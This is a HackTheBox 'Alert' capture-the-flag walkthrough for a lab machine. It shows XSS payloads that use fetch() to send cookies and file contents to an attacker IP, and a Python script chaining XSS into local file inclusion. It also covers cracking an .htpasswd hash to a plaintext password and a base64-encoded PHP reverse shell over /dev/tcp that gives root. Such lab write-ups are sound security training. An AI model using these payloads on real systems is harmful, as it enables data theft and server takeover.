Alert – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

Avatar Alert


Summary Link to heading

“Alert” is an Easy box from HackTheBox platform. The victim machine is running a web server that accepts Markdown files which are displayed at the website. These Markdown files can contain a Cross-Site Scripting (XSS) payload. Eventually, this vulnerability allow us to execute another forbidden webpage which is also vulnerable to Local File Inclusion. Reading internal files we are able to find another internal subdomain. This subdomain has a file which contains a hash. We are able to crack this hash and use this password to gain access to the victim machine as a user. Once inside, we are able to see that the victim machine is running an internal web server as root. Our impersonated user is in a group that can write files in this web server. This allow us to write a malicious file in the server, execute system commands as root and gain access to this user.


User Link to heading

We start with a quick Nmap scan:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.44

We find only 2 ports open: 22 SSH and 80 HTTP. We apply some recognition scans over these ports using -sVC over these ports:

❯ sudo nmap -sVC -p22,80 10.10.11.44

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 00:26 -03
Nmap scan report for 10.10.11.44
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.42 seconds

From the scan we can see that connection to port 80 HTTP redirects to the site alert.htb. We add this domain to our /etc/hosts file running in a terminal:

❯ echo '10.10.11.44 alert.htb' | sudo tee -a /etc/hosts

Using WhatWeb against the site shows that, when we make a request to http://alert.htbit will redirect us to http://alert.htb/index.php?page=alert:

❯ whatweb -a 3 http://alert.htb

http://alert.htb [302 Found] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], RedirectLocation[index.php?page=alert], Title[Alert - Markdown Viewer]
http://alert.htb/index.php?page=alert [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], Title[Alert - Markdown Viewer]

Then, visiting http://alert.htb in a web browser shows a page where we are allowed to upload Markdown files:

Alert 1

We can easily create a Markdown file in our terminal:

❯ echo -e '# test\n## testing\nThis is a **test**' > test.md

❯ cat test.md

# test
## testing
This is a **test**

If we upload this file to the page and click on View Markdown we can see the file being interpreted:

Alert 2

At the bottom right we have a Share Markdown option.

Usually pages that interpret Markdown files use JavaScript to interpret and display different attributes (like bold text, headers, etc). Therefore, we could see if this page is vulnerable to Cross Site Scripting (XSS). We create a simple xss.md file with the content:

<script>prompt(8)</script>

We upload xss.md, click on View Markdown and we can see:

Alert 3

Tip

Actually, the name Alert of the victim machine tells us a hint indicating this could be vulnerable to XSS since a common payload to check this vulnerability is

<script>alert('xss')</script>

But we got nothing besides that.

To check if there is an administrator site or something similar that we can use to steal a cookie or important info we can search, first, for hidden directories through a Directory Listing with Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://alert.htb -x php -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://alert.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 274]
/index.php            (Status: 302) [Size: 660] [--> index.php?page=alert]
/uploads              (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/contact.php          (Status: 200) [Size: 24]
/css                  (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/messages             (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/messages.php         (Status: 200) [Size: 1]

We get a site messages.php.

Also, looking at the main webpage, if we want to go to contact it uses ?page=contact path; if we want to go to About Us, it uses ?page=about and so on… So we can use a tool like ffuf to also search for potential files in this way:

❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u 'http://alert.htb/index.php?page=FUZZ' -fs 690

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://alert.htb/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 690
________________________________________________

about                   [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 4132ms]
contact                 [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 4928ms]
donate                  [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 245ms]
messages                [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 238ms]
alert                   [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 242ms]

We have, again, messages page.

messages is particularly interesting because there is no tab/option in the main webpage that redirect us to this page. Visiting http://alert.htb/index.php?page=messages just show a page like the main webpage, but without the option to upload the Markdown file:

Alert 4

We note that at Contact Us we can send a message:

Alert 6

Also, About Us page shows an interesting message:

Hello! We are Alert. Our service gives you the ability to view MarkDown. We are reliable, secure, fast and easy to use. If you experience any problems with our service, please let us know. Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours. Thank you for using our service!

So it is possible that someone is checking Contact us messages periodically.

We try a simple XSS payload to steal a cookie:

<img src=x onerror=fetch("http://10.10.16.3:8000/"+document.cookie);>

and append it in the “message” field for Contact and use any random mail. We start a temporal HTTP server with Python on port 8000:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and send the XSS in Contact Us. We get something:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.44 - - [28/Nov/2024 01:27:20] code 404, message File not found
10.10.11.44 - - [28/Nov/2024 01:27:20] "GET /&quot;+document.cookie);&gt; HTTP/1.1" 404 -

So something or someone opened the message and it was vulnerable to XSS. Additionally, we get the text message File not found. This could mean that message page is expecting a file parameter.

We can craft a payload that requests files through file parameter to messages.php file previously found. For this we can try the payload in a Markdown file:

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../etc/passwd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.16.3:8000/?encodedData=" + btoa(data));
  });
</script>

and save it as payload.md.

If we upload this to Markdown converter nothing happens. We just get a null byte in our Python HTTP server. But if we copy the shared link generated for payload.md file and send it through the Contact Us form:

Alert 7

We get something in our Python HTTP server:

❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

10.10.11.44 - - [28/Nov/2024 02:41:56] "GET /?encodedData=PHByZT5<SNIP>U+Cg== HTTP/1.1" 200 -

We get a message encoded in base64, just as our payload specified.

Decoding this message we get:

❯ echo PHByZT5<SNIP>U+Cg== | base64 -d

<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<SNIP>
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>

We can read system files. Therefore, we can chain XSS payload and convert it into a Local File Inclusion (LFI).

Since we have many files to read we have to:

  1. Generate a Markdown file and set its content to the file we want to read.
  2. Upload the generated payload to the Markdown converter to generate a share link.
  3. Send this link to Contact Us form.
  4. Decode the content obtained from base64.

To automatize all of this, I have created the following Python script after intercepting the request sent for the payloads with Burpsuite to see what happens. Our script is:

import requests
import re
import argparse
import sys
import asyncio
import base64


def parse_arguments():
    """
    Get parameters froms user
    """
    parser = argparse.ArgumentParser(description="Request files to read files at HTB Alert Machine (XSS to LFI).")
    parser.add_argument("-i", "--attacker-ip", type=str, help="Our attacker IP address to send the extracted data.", required=True)
    parser.add_argument("-f" ,"--filename", type=str, help="Name of the file to read (absolute path, e.g., '/etc/passwd')", required=True)
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
    return parser.parse_args()


def post_payload(url: str, file_to_read: str, attacker_ip: str)->str|None:
    """
    Post XSS Payload to Markdown converter to generate a share link
    """
    post_url = f"{url}/visualizer.php"
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", 
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
               "Accept-Language": "en-US,en;q=0.5", 
               "Accept-Encoding": "gzip, deflate, br", 
               "Content-Type": "multipart/form-data; boundary=---------------------------302486761919196570801058130125", 
               "Origin": url, 
               "DNT": "1", 
               "Connection": "close", 
               "Referer": f"{url}/index.php?page=alert", 
               "Upgrade-Insecure-Requests": "1"}
    data = f"-----------------------------302486761919196570801058130125\r\nContent-Disposition: form-data; name=\"file\"; filename=\"payload.md\"\r\nContent-Type: text/markdown\r\n\r\n<script>\nfetch(\"http://alert.htb/messages.php?file=../../../../../../..{file_to_read}\")\n  .then(response => response.text())\n  .then(data => {{\n    fetch(\"http://{attacker_ip}:8000/?encodedData=\" + btoa(data));\n  }});\n</script>\n\r\n-----------------------------302486761919196570801058130125--\r\n"
    r = requests.post(post_url, headers=headers, data=data)
    if r.status_code != 200:
        print(f"[-] Got invalid status code for POST request uploading the Markdown file. Status code {r.status_code}. Please check and retry...")
        sys.exit(1)
    # Use regular expressions to get the share link
    match = re.search(r'link_share=([^\"]+)', r.text)
    if match:
        share_link: str = f'http://alert.htb/visualizer.php?link_share={match.group(1)}'
        print(f"[+] Share link: {share_link}")
        return share_link
    print(f"[-] No share link found. This is the response text:{100*'='}\n{r.text}\n{100*'='}\nPlease check and retry...")
    sys.exit(1)


def send_XSS(url: str, share_link: str):
    post_url = f"{url}/contact.php"
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://alert.htb", "DNT": "1", "Connection": "close", "Referer": "http://alert.htb/index.php?page=contact&status=Message%20sent%20successfully!", "Upgrade-Insecure-Requests": "1"}
    data = {"email": "test@test.com", 
                  "message": share_link}
    print("[+] Sending request to contact form...")
    requests.post(post_url, headers=headers, data=data)


async def start_server(verbose_option: bool = False):
    """
    Starts an asynchronous HTTP server to capture the GET request and process encoded data.
    """
    async def handle_request(reader, writer, verbose_option=verbose_option):
        # Read the incoming HTTP request
        data = await reader.read(8192)
        request = data.decode()
        # Use regex to extract the 'encodedData' parameter value
        match = re.search(r'encodedData=([^ ]+)', request)
        if match:
            encoded_data = match.group(1)
            if verbose_option:
                print(f"[+] Encoded Data:\n{encoded_data}")
            # Decode the base64-encoded data
            try:
                decoded_data = base64.b64decode(encoded_data).decode()
                if decoded_data.startswith('<pre>'):
                    decoded_data = re.sub('<pre>', '', decoded_data)
                if " ".join(decoded_data.split()).endswith('</pre>'):
                    decoded_data = re.sub('</pre>', '', decoded_data)
                print(f"[+] Decoded Data:\n{100*'='}\n\n{decoded_data}\n{100*'='}")
            except Exception as e:
                print(f"[-] Failed to decode data: {e}")
        writer.close()
        await writer.wait_closed()
    # Start the HTTP server
    server = await asyncio.start_server(handle_request, '', 8000)
    addr = server.sockets[0].getsockname()
    print(f"[+] Serving server on {addr}")
    # Run the server for 6 seconds, then shut it down
    await asyncio.sleep(6)
    server.close()
    await server.wait_closed()
    print("[+] Shutting down server.")


async def main():
    # Get arguments from user
    args = parse_arguments()
    # Set machine url
    url: str = 'http://alert.htb'
    # Start an HTTP server asynchronously to get requests
    server_task = asyncio.create_task(start_server(args.verbose))
    # Wait briefly to ensure the server is running
    await asyncio.sleep(1)
    # Here starts the attack. Get share link after using Markdown converter.
    share_link: str = post_payload(url, args.filename, args.attacker_ip)
    # Send the share link to contact form to trigger LFI
    send_XSS(url, share_link)
    # Wait for the server to shut down
    await server_task

if __name__ == "__main__":
    asyncio.run(main())

The script starts an asynchronous HTTP server on port 8000 to ensure we are not starting the server too late after we send the data to Contact Us form; and automatically decodes the GET request obtained to our attacker machine.

Using this script works:

❯ python3 exploit.py -i '10.10.16.3' -f '/etc/passwd'

[+] Serving server on ('0.0.0.0', 8000)
[+] Share link: http://alert.htb/visualizer.php?link_share=67480d426ccb26.90381770.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>

We find 2 users albert and david. But we are not allowed to read their SSH keys (if they have one).

If we check /etc/hosts file. We can see we have a site statistics.alert.htb:

❯ python3 exploit.py -i '10.10.16.3' -f '/etc/hosts'

[+] Serving server on ('0.0.0.0', 8000)
[+] Share link: http://alert.htb/visualizer.php?link_share=67481086107f17.22542002.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================

127.0.0.1 localhost
127.0.1.1 alert
127.0.0.1 alert.htb
127.0.0.1 statistics.alert.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


====================================================================================================
[+] Shutting down server.

We add this subdomain to our /etc/hosts file, so now it looks like:

❯ tail -n1 /etc/hosts

10.10.11.44 alert.htb statistics.alert.htb

Visiting then http://statistics.alert.htb just spawns a HTTP login request windows:

Alert 5

But we don’t have credentials for the moment.

Since the server is running a web server we can attempt to read files at its /var/www/html or /var/www/<domain> directory, where files are usually located. If we try to read index.php file, that we know already exists in the webserver we get:

❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/index.php'

[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=67481293ef7051.33525204.md
[+] Sending request to contact form...
[-] Failed to decode data: 'utf-8' codec can't decode byte 0xa9 in position 3161: invalid start byte
[+] Shutting down server.

and if we add the -v (verbose) option to see the original encoded payload we get:

❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/index.php' -v

<SNIP>
[+] Encoded Data:
PHByZT48IUR<SNNIP>mU+Cg==
<SNIP>

or we can see the content of message.php:

❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/messages.php'

[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=6748133bc88f41.46614457.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================

<?php
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == '127.0.0.1' || $ip == '::1') {
    $directory = "messages/";

    $messages = glob($directory . "*.txt");

    if (isset($_GET['file'])) {
        $file = $_GET['file'];
        echo "" . file_get_contents($directory . $file) . "";
    } else {
        echo "<h1>Messages</h1>";
        if (count($messages) > 0) {
            echo "<ul>";
            foreach ($messages as $message) {
                $filename = basename($message);
                echo "<li><a href='messages.php?file=$filename'>$filename</a></li>";
            }
            echo "</ul>";
        } else {
            echo "No messages found.";
        }
    }
}
?>



====================================================================================================
[+] Shutting down server.

Basically, we know know that files are located at /var/www/alert.htb. Unfortunately, there is not a config.php file. But we still have statistics.alert.htb domain. Eventually, we find a really interesting file at the subdomain directory /var/www/statistics.alert.htb:

❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/statistics.alert.htb/.htpasswd'

[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=674813f8d9ce24.22562491.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/


====================================================================================================
[+] Shutting down server.

.htpasswd is a file for Apache servers. We got a hash.

We save this hash in a file as albert_hash and crack it using Hashcat, whose mode to crack this hash is 1600 based on its example hashes (and also using --username to avoid albert: at the beginning of the hash):

❯ cat albert_hash

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

❯ hashcat -a 0 -m 1600 albert_hash /usr/share/wordlists/rockyou.txt --username

hashcat (v6.2.6) starting

<SNIP>
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
<SNIP>

We got credentials: albert:manchesterunited.

We check if these credentials work for SSH using NetExec:

❯ nxc ssh 10.10.11.44 -u albert -p 'manchesterunited'

SSH         10.10.11.44     22     10.10.11.44      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.44     22     10.10.11.44      [+] albert:manchesterunited  Linux - Shell access!

They worked!

Use them to gain access through SSH into the victim machine:

❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no albert@10.10.11.44

<SNIP>

albert@alert:~$

We can get the user flag.


Root Link to heading

If we check internal ports of the victim machine we can see that port 8080 is open:

albert@alert:~$ ss -lntp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8080                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                       [::]:*
LISTEN              0                   511                                          *:80                                          *:*

We can check if this is a service running an internal website checking it with cURL:

albert@alert:~$ curl -s http://127.0.0.1:8080 | head

<!DOCTYPE html>
<html lang="en">
<head>
<title>Website Monitor</title>
<meta charset="utf-8">
<meta name="theme-color" content="#212529">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="style.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/chart.js@3.8.2/dist/chart.min.js" crossorigin="anonymous"></script>
</head>

It responded. So it is a website.

Log out from the current SSH session to establish a tunnel with a Local Port Forwarding to convert port 8080 of the current machine in port 8080 of our localhost:

❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 albert@10.10.11.44

Visiting then http://127.0.0.1:8080 in a web browser like Firefox shows a webpage:

Alert 8

The site is running Website Monitor, as we can see at the bottom of this page a description for it.

A simple website or web service monitor.

Insane description.

If we check running processes we can see that this process is being executed by root:

albert@alert:~$ ps aux | grep root | grep web

root         996  0.0  0.6 207156 26596 ?        Ss   00:08   0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root        1012  0.0  0.0   2636   796 ?        S    00:08   0:00 inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config

The site is running at /opt/website-monitor:

albert@alert:~$ ls -la /opt/website-monitor/

total 96
drwxrwxr-x 7 root root        4096 Oct 12 01:07 .
drwxr-xr-x 4 root root        4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management  4096 Oct 12 04:17 config
drwxrwxr-x 8 root root        4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates

management group can write at /opt/website-monitor/config directory.

albert is part of this group:

albert@alert:~$ id

uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

We cannot write at Website Monitor main directory, but, as we have seen, we can at /opt/website-monitor/config:

albert@alert:~$ echo 'test' > /opt/website-monitor/test
-bash: /opt/website-monitor/test: Permission denied

albert@alert:~$ echo 'test' > /opt/website-monitor/config/test

We can write try to write a simple PHP file in the server:

albert@alert:~$ echo '<?php echo "Hello there";?>' > /opt/website-monitor/config/test.php

and check if it is there:

❯ curl -s 'http://127.0.0.1:8080/config/test.php'

Hello there

It is.

So let’s create a PHP file that send us a reverse shell. Create an encoded payload in base64:

❯ echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.3/443 0>&1"' | base64 -w0

L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK

where, again, 10.10.16.3 is our attacker IP and 443 the port we will start listening with netcat.

Then, in the victim machine write the payload in a file:

albert@alert:~$ echo '<?php shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK"));?>' > /opt/website-monitor/config/gunzf0x.php

where we are writing the PHP file:

<?php shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK"));?>

with our encoded payload.

Start a listener with netcat on port 443 (executing nc -lvnp 443) and then just visit the malicious webpage:

albert@alert:~$ curl -s http://127.0.0.1:8080/config/gunzf0x.php

and we get a shell as root user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.44] 45984
bash: cannot set terminal process group (996): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config# whoami

whoami
root

GG. We can read the root flag at /root directory.

~Happy Hacking